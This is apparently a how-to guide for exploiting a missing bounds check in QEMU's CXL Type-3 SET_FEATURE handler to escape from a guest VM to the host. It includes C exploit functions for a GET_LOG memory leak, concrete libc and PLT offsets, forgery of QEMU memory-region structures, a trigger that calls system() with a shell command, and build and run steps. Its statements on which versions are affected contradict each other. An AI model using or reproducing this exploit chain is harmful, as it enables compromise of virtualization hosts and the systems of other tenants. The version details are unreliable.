# How to Exploit the CXL SET_FEATURE Handler Vulnerability in QEMU: A Complete Guide

> Learn to exploit the QEMU CXL SET_FEATURE handler vulnerability. Gain guest-to-host escape and execute arbitrary code with this comprehensive guide.

- Repository: [bikini/exploitarium](https://github.com/bikini/exploitarium)
- Tags: how-to-guide
- Published: 2026-09-07

---

**The QEMU CXL Type-3 SET_FEATURE handler contains a missing bounds check that allows guest-to-host escapes via out-of-bounds writes to `rank_sparing_wr_attrs`, enabling arbitrary code execution by forging QEMU internal memory structures.**

This guide analyzes a critical vulnerability in QEMU’s Compute Express Link (CXL) Type-3 device implementation that permits a malicious guest to execute arbitrary code on the host. The exploit, documented in the `bikini/exploitarium` repository, leverages improper input validation in the mailbox command handlers to achieve a complete VM escape.

## Vulnerability Root Cause: Missing Bounds Checking

The flaw resides in QEMU’s handling of the **SET_FEATURE** command for rank-sparing attributes. According to the source code analysis, the handler copies guest-supplied data directly into `ct3d->rank_sparing_wr_attrs + hdr->offset` without validating whether the offset and length remain within the allocated buffer boundaries.

This omission allows an attacker to write beyond the intended buffer limits, corrupting the tail of the `CXLType3Dev` object. By carefully calculating offsets, the exploit overwrites adjacent heap memory containing critical QEMU structures including `FlatView`, `AddressSpaceDispatch`, `MemoryRegionSection`, `MemoryRegion`, and `MemoryRegionOps`. Once these structures are compromised, the attacker controls function pointers that QEMU invokes during memory operations, leading to arbitrary host code execution.

## The Four-Stage Exploitation Chain

The proof-of-concept implemented in [`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c) executes a sophisticated four-stage attack to bypass modern virtualization defenses.

### Stage 1: Leaking Host Pointers via GET_LOG

Before crafting the exploit payload, the attacker must defeat Address Space Layout Randomization (ASLR) by leaking host memory addresses. The **GET_LOG** handler contains a similar bounds-checking flaw: it validates `offset + length` against `cci->cel_log` size but then copies from `cci->cel_log + offset` without proper constraints.

By supplying an out-of-bounds offset, the guest reads arbitrary host memory. The PoC specifically targets two critical offsets:
- `cmd_logs_get_log` at **0x4ad6f0** to recover the QEMU text base (PIE)
- `rank_sparing_wr_attrs` at **0x6c5b6a** to locate the exact `CXLType3Dev` object address

```c
/* Leak an arbitrary 64-bit host value via GET_LOG */
static U64 leak_rel(u32 rel)
{
    u32 off = GET_LOG_OOB_BASE_OFFSET + (rel >> 2);
    payload_write(0, cel_uuid, 16);
    w32(MBOX_PAYLOAD + 16, off);
    w32(MBOX_PAYLOAD + 20, 8);
    mailbox_cmd(CMD_GET_LOG, 24);
    return (U64){ r32(MBOX_PAYLOAD), r32(MBOX_PAYLOAD + 4) };
}

```

### Stage 2: Deriving libc Symbols and system()

With the QEMU base address leaked, the exploit calculates the location of `memmove@plt` at **0x3381b0** and the `__libc_start_main` GOT entry at **0x1ad6fe8**. By invoking a fake callback to `memmove@plt`, the guest obtains the real libc base address, then adds the known offset of `system()` (**0x58750**) to resolve the final target for code execution.

### Stage 3: Forging CXL Objects via SET_FEATURE

Using the **SET_FEATURE** command (`CMD_SET_FEAT`) with a feature offset of `0x2e`, the exploit writes a crafted object graph into the out-of-bounds region. The payload constructs a chain of fake structures:

- **FlatView** at `rank + FAKE_FLATVIEW_OFF`
- **AddressSpaceDispatch** at `FAKE_DISPATCH_OFF`
- **MemoryRegionSection** at `FAKE_SECTION_OFF`
- **MemoryRegion** at `FAKE_MEMORY_REGION_OFF`
- **MemoryRegionOps** at `FAKE_OPS_OFF`

All capacity, region size, and bitmap fields are populated to satisfy QEMU’s internal sanity checks, ensuring the forged objects appear valid during subsequent memory operations.

```c
/* Write forged structures via SET_FEATURE */
static void send_rank(u16 feature_off, const u8 *data, u32 n)
{
    payload_write(0, rank_uuid, 16);
    w32(MBOX_PAYLOAD + 16, 1);
    w32(MBOX_PAYLOAD + 20, ((u32)1 << 16) | feature_off);
    payload_write_zero(24, 8);
    payload_write(32, data, n);
    mailbox_cmd(CMD_SET_FEAT, 32 + n);
}

```

### Stage 4: Triggering Arbitrary Host Code Execution

The final stage sends a **MEDIA_OPERATIONS** command (`CMD_MEDIA_OP`) to sanitize the dynamic-capacity address space via `address_space_set()`. The previously forged `MemoryRegionOps.write` callback now points to the resolved `system()` address, and the PoC supplies a command string (`"id>/tmp/qemu_cxl_escape_marker"`). When QEMU processes the media operation, it invokes the attacker-controlled callback, executing the shell command on the host and creating the marker file to confirm successful exploitation.

```c
/* Trigger the forged callback */
static void trigger_media_sanitize(void)
{
    w32(MBOX_PAYLOAD + 0, 0x00000001u);
    w32(MBOX_PAYLOAD + 4, 0x00000001u);
    w32(MBOX_PAYLOAD + 8, CXL_STATIC_VMEM_SIZE);
    w32(MBOX_PAYLOAD + 12, 0);
    w32(MBOX_PAYLOAD + 16, CXL_CACHELINE_SIZE);
    w32(MBOX_PAYLOAD + 20, 0);
    mailbox_cmd(CMD_MEDIA_OP, 24);
}

```

## Practical Implementation and PoC Code

The `bikini/exploitarium` repository provides a complete freestanding 32-bit implementation that runs inside the guest VM without requiring an operating system.

### Building and Running the Exploit

The exploit requires QEMU 11.0.50 or later built with CXL-Type-3 support. Execute the provided scripts to build the PoC image and launch the attack:

```bash

# Build the PoC image (requires nasm, gcc -m32, and ld)

sh build.sh

# Run the PoC against a vulnerable QEMU binary

sh run.sh /absolute/path/to/qemu-system-x86_64

```

The [`run.sh`](https://github.com/bikini/exploitarium/blob/main/run.sh) script configures a CXL-enabled `q35` machine, loads the pre-built BIOS floppy (`poc.img`), and executes the stage2 payload. Successful exploitation prints the serial trace containing leaked addresses and creates `/tmp/qemu_cxl_escape_marker` on the host filesystem.

### Key Exploit Files

- **[`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c)**: Contains the full exploit implementation including memory leak primitives, object forgery logic, and the trigger mechanism
- **`boot.asm`**: 16-bit bootloader that loads the stage2 payload from the floppy image
- **[`run.sh`](https://github.com/bikini/exploitarium/blob/main/run.sh)**: Convenience script that constructs the proper QEMU command line with CXL devices enabled
- **`poc.img`**: Pre-built BIOS floppy image containing the compiled exploit

## Summary

- The **CXL SET_FEATURE handler vulnerability** stems from missing bounds validation when writing to `rank_sparing_wr_attrs`, allowing out-of-bounds heap corruption.
- Exploitation requires four coordinated stages: **information disclosure** via GET_LOG, **libc base calculation** via PLT/GOT leaks, **object forgery** via crafted SET_FEATURE writes, and **code execution** via MEDIA_OPERATIONS callbacks.
- The `bikini/exploitarium` proof-of-concept demonstrates reliable VM escape against QEMU 11.0.50+ with CXL-Type-3 support by overwriting `MemoryRegionOps` function pointers to invoke `system()`.
- Attackers must control the guest VM and have access to the CXL mailbox interface to execute this exploit.

## Frequently Asked Questions

### What is the CXL SET_FEATURE vulnerability in QEMU?

The vulnerability is a missing bounds check in QEMU’s implementation of the CXL Type-3 **SET_FEATURE** command handler for rank-sparing attributes. The handler copies guest-controlled data into `ct3d->rank_sparing_wr_attrs` using a guest-supplied offset without validating that the destination range remains within the buffer. This allows attackers to write past the buffer boundary and corrupt adjacent heap memory containing QEMU internal structures, ultimately leading to arbitrary code execution on the host.

### How does the GET_LOG command leak host memory?

The **GET_LOG** handler validates `offset + length` against the size of `cci->cel_log` but then performs the copy from `cci->cel_log + offset` without adequate range checking. By supplying an out-of-bounds offset, the guest can read arbitrary host memory contents. The exploit specifically reads from offsets **0x4ad6f0** (to leak the QEMU binary base) and **0x6c5b6a** (to locate the `CXLType3Dev` object), defeating ASLR and enabling precise targeting of the heap corruption.

### What structures are overwritten to achieve code execution?

The exploit forges a chain of five critical QEMU memory management structures: `FlatView`, `AddressSpaceDispatch`, `MemoryRegionSection`, `MemoryRegion`, and `MemoryRegionOps`. By controlling the `MemoryRegionOps.write` function pointer within this forged object graph, the attacker redirects execution flow to the address of `system()` in host libc when QEMU processes a subsequent MEDIA_OPERATIONS command, achieving arbitrary host code execution.

### Which QEMU versions are affected by this vulnerability?

The vulnerability affects QEMU version 11.0.50 and earlier builds that include CXL-Type-3 device support. The exploit specifically targets the mailbox command handlers implemented in the CXL Type-3 device emulation code. Administrators should upgrade to patched versions and disable CXL Type-3 devices if virtualization of persistent memory hardware is not required.